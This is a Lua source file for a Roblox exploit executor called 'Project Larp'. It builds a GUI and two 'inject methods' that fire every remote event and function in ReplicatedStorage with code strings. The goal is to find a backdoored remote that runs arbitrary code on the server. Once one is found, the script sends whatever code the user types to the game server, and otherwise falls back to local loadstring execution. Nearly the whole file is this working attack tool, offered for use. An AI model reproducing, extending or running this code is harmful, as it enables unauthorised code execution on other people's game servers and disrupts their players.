local LMG2L = {}; -- // The gui LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; LMG2L["ScreenGui_1"]["ResetOnSpawn"] = false; LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]); LMG2L["Frame_2"]["BorderSizePixel"] = 0; LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(239, 239, 239); LMG2L["Frame_2"]["Size"] = UDim2.new(0, 356, 0, 244); LMG2L["Frame_2"]["Position"] = UDim2.new(0, 216, 0, 22); Instance.new("UICorner", LMG2L["Frame_2"]).CornerRadius = UDim.new(0, 9); local TitleLabel = Instance.new("TextLabel", LMG2L["Frame_2"]) TitleLabel.Size = UDim2.new(0, 238, 0, 20) TitleLabel.Position = UDim2.new(0, 6, 0, 15) TitleLabel.BackgroundTransparency = 1 TitleLabel.Text = "Project Larp" TitleLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TitleLabel.TextScaled = true TitleLabel.Font = Enum.Font.GothamBold TitleLabel.TextXAlignment = Enum.TextXAlignment.Left LMG2L["TextBox_15"] = Instance.new("TextBox", LMG2L["Frame_2"]); LMG2L["TextBox_15"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextBox_15"]["TextYAlignment"] = Enum.TextYAlignment.Top; LMG2L["TextBox_15"]["Size"] = UDim2.new(0, 238, 0, 118); LMG2L["TextBox_15"]["Position"] = UDim2.new(0, 6, 0, 50); LMG2L["TextBox_15"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]]); LMG2L["TextBox_15"]["Text"] = [[-- Project Larp]]; LMG2L["TextBox_15"]["BorderColor3"] = Color3.fromRGB(189, 189, 189); LMG2L["TextBox_15"]["MultiLine"] = true; LMG2L["TextBox_15"]["ClearTextOnFocus"] = false; LMG2L["TextBox_15"]["TextWrapped"] = true; LMG2L["TextButton_7"] = Instance.new("TextButton", LMG2L["Frame_2"]); LMG2L["TextButton_7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_7"]["Size"] = UDim2.new(0, 92, 0, 26); LMG2L["TextButton_7"]["Position"] = UDim2.new(0, 2, 0, 168); LMG2L["TextButton_7"]["Text"] = [[Execute]]; LMG2L["TextButton_7"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton; LMG2L["TextButton2_4"] = Instance.new("TextButton", LMG2L["Frame_2"]); LMG2L["TextButton2_4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton2_4"]["Size"] = UDim2.new(0, 92, 0, 28); LMG2L["TextButton2_4"]["Position"] = UDim2.new(0, 2, 0, 192); LMG2L["TextButton2_4"]["Text"] = [[Clear]]; LMG2L["TextButton2_4"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton; LMG2L["ResetButton"] = Instance.new("TextButton", LMG2L["Frame_2"]); LMG2L["ResetButton"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["ResetButton"]["Size"] = UDim2.new(0, 92, 0, 26); LMG2L["ResetButton"]["Position"] = UDim2.new(0, 2, 0, 218); LMG2L["ResetButton"]["Text"] = [[Reset]]; LMG2L["ResetButton"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton; LMG2L["MethodButton"] = Instance.new("TextButton", LMG2L["Frame_2"]); LMG2L["MethodButton"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["MethodButton"]["Size"] = UDim2.new(0, 95, 0, 30); LMG2L["MethodButton"]["Position"] = UDim2.new(0, 257, 0, 210); LMG2L["MethodButton"]["Text"] = [[Lalol Method]]; LMG2L["MethodButton"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton; LMG2L["MethodButton"]["TextScaled"] = true; LMG2L["Frame3_6"] = Instance.new("Frame", LMG2L["Frame_2"]); LMG2L["Frame3_6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Frame3_6"]["Size"] = UDim2.new(0, 94, 0, 148); LMG2L["Frame3_6"]["Position"] = UDim2.new(0, 255, 0, 25); LMG2L["Frame3_6"]["Name"] = [[ScriptList]]; Instance.new("UICorner", LMG2L["Frame3_6"]).CornerRadius = UDim.new(0, 8); local SearchBox = Instance.new("TextBox", LMG2L["Frame3_6"]); SearchBox.Size = UDim2.new(1, -8, 0, 24); SearchBox.Position = UDim2.new(0, 4, 0, 6); SearchBox.PlaceholderText = "Pesquisar..."; SearchBox.BackgroundColor3 = Color3.fromRGB(245, 245, 245); SearchBox.Text = ""; SearchBox.TextScaled = true; Instance.new("UICorner", SearchBox).CornerRadius = UDim.new(0, 6); local ScrollList = Instance.new("ScrollingFrame", LMG2L["Frame3_6"]); ScrollList.Size = UDim2.new(1, -8, 1, -38); ScrollList.Position = UDim2.new(0, 4, 0, 34); ScrollList.BackgroundTransparency = 1; ScrollList.ScrollBarThickness = 4; ScrollList.BorderSizePixel = 0; local ListLayout = Instance.new("UIListLayout", ScrollList); ListLayout.Padding = UDim.new(0, 4); Instance.new("UIDragDetector", LMG2L["Frame_2"]); -- // List script system local FOLDER_NAME = "ProjectLarp" if not isfolder(FOLDER_NAME) then makefolder(FOLDER_NAME) end local function loadFilesIntoScroll(filter) filter = filter or "" for _, v in ipairs(ScrollList:GetChildren()) do if not v:IsA("UIListLayout") then v:Destroy() end end local files = listfiles(FOLDER_NAME) for _, path in ipairs(files) do local name = path:match("[^/\\]+$") if string.find(string.lower(name), string.lower(filter)) then local item = Instance.new("TextButton") item.Size = UDim2.new(1, -5, 0, 28) item.Text = name item.BackgroundColor3 = Color3.fromRGB(240, 240, 240) item.TextColor3 = Color3.fromRGB(0, 0, 0) item.TextScaled = true item.Parent = ScrollList item.MouseButton1Click:Connect(function() local fullPath = FOLDER_NAME .. "/" .. name if isfile(fullPath) then LMG2L["TextBox_15"].Text = readfile(fullPath) end end) end end ScrollList.CanvasSize = UDim2.new(0, 0, 0, ListLayout.AbsoluteContentSize.Y + 10) end SearchBox:GetPropertyChangedSignal("Text"):Connect(function() loadFilesIntoScroll(SearchBox.Text) end) task.spawn(function() task.wait(0.4) loadFilesIntoScroll() end) -- // Inject methods local CurrentMethod = 1 _G.LarpBackdoor = nil local alphabet = { 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' } local function genName(l) local s = "" for i = 1, l do s = s .. alphabet[math.random(#alphabet)] end return s end local function runRemote(remote, code) if remote:IsA("RemoteEvent") then remote:FireServer(code) elseif remote:IsA("RemoteFunction") then spawn(function() remote:InvokeServer(code) end) end end -- // Lalol Method local function InjectLALOL() game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "Injecting...", Duration = 3 }) local backdoor = nil local remotes = {} for _, v in ipairs(game:GetDescendants()) do if (v:IsA("RemoteEvent") or v:IsA("RemoteFunction")) and (v.Parent == game.ReplicatedStorage or v.Parent.Parent == game.ReplicatedStorage) then local code = genName(16) runRemote(v, "a=Instance.new('StringValue',workspace)a.Name='"..code.."'") remotes[code] = v end end for i = 1, 50 do for code, remote in pairs(remotes) do if workspace:FindFirstChild(code) then backdoor = remote workspace[code]:Destroy() break end end if backdoor then break end task.wait(0.12) end if backdoor then _G.LarpBackdoor = backdoor runRemote(backdoor, [[ local h = Instance.new("Hint", workspace) h.Text = "Project Larp | <3" ]]) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "Inject successful! Enjoy you larp session!", Duration = 4 }) else game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "You larp is failed.", Duration = 4 }) end end -- // Kakanuckels Method local function InjectKakanuckels() game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "Injecting...", Duration = 3 }) local backdoor = nil for _, v in ipairs(game.ReplicatedStorage:GetDescendants()) do if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then local name = genName(10) runRemote(v, 'Instance.new("Model", workspace).Name="'..name..'"') task.wait(0.6) if workspace:FindFirstChild(name) then backdoor = v break end end end if backdoor then _G.LarpBackdoor = backdoor runRemote(backdoor, [[ local h = Instance.new("Hint", workspace) h.Text = "Project Larp | <3" ]]) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "Inject successful! Enjoy you larp session!", Duration = 4 }) else game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Project Larp", Text = "You larp is failed.", Duration = 4 }) end end -- // Button logics LMG2L["TextButton_7"].MouseButton1Click:Connect(function() local code = LMG2L["TextBox_15"].Text if code == "" then return end if not _G.LarpBackdoor then if CurrentMethod == 1 then InjectLALOL() else InjectKakanuckels() end end if _G.LarpBackdoor then runRemote(_G.LarpBackdoor, code:gsub("{owner}", game.Players.LocalPlayer.Name)) game:GetService("StarterGui"):SetCore("SendNotification", {Title = "Project Larp", Text = "Script executed!", Duration = 3}) else pcall(loadstring(code)) end end) LMG2L["MethodButton"].MouseButton1Click:Connect(function() CurrentMethod = CurrentMethod == 1 and 2 or 1 LMG2L["MethodButton"].Text = (CurrentMethod == 1 and "Lalol Method" or "Kakanuckels Method") end) LMG2L["TextButton2_4"].MouseButton1Click:Connect(function() LMG2L["TextBox_15"].Text = "" end) LMG2L["ResetButton"].MouseButton1Click:Connect(function() if _G.LarpBackdoor then local name = game.Players.LocalPlayer.Name runRemote(_G.LarpBackdoor, "game.Players['" .. name .. "']:LoadCharacter()") end end) -- // Togle gui local function CreateToggleButton(parent) local btn = Instance.new("ImageButton") btn.Name = "ToggleButton" btn.Parent = parent btn.Size = UDim2.new(0, 65, 0, 65) btn.Position = UDim2.new(0, 30, 0, 30) btn.BackgroundTransparency = 1 btn.Image = "rbxassetid://132604725696137" btn.ZIndex = 999 btn.Active = true Instance.new("UICorner", btn).CornerRadius = UDim.new(1, 0) return btn end local function EnableDrag(guiObject) local UIS = game:GetService("UserInputService") local dragging = false local dragStart, startPos guiObject.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = guiObject.Position end end) guiObject.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) UIS.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart guiObject.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) end local function SetupToggle(button, frame) local visible = true button.Activated:Connect(function() visible = not visible frame.Visible = visible end) end local function InitToggle(screenGui, frame) local toggle = CreateToggleButton(screenGui) EnableDrag(toggle) SetupToggle(toggle, frame) end InitToggle(LMG2L["ScreenGui_1"], LMG2L["Frame_2"]) return LMG2L["ScreenGui_1"]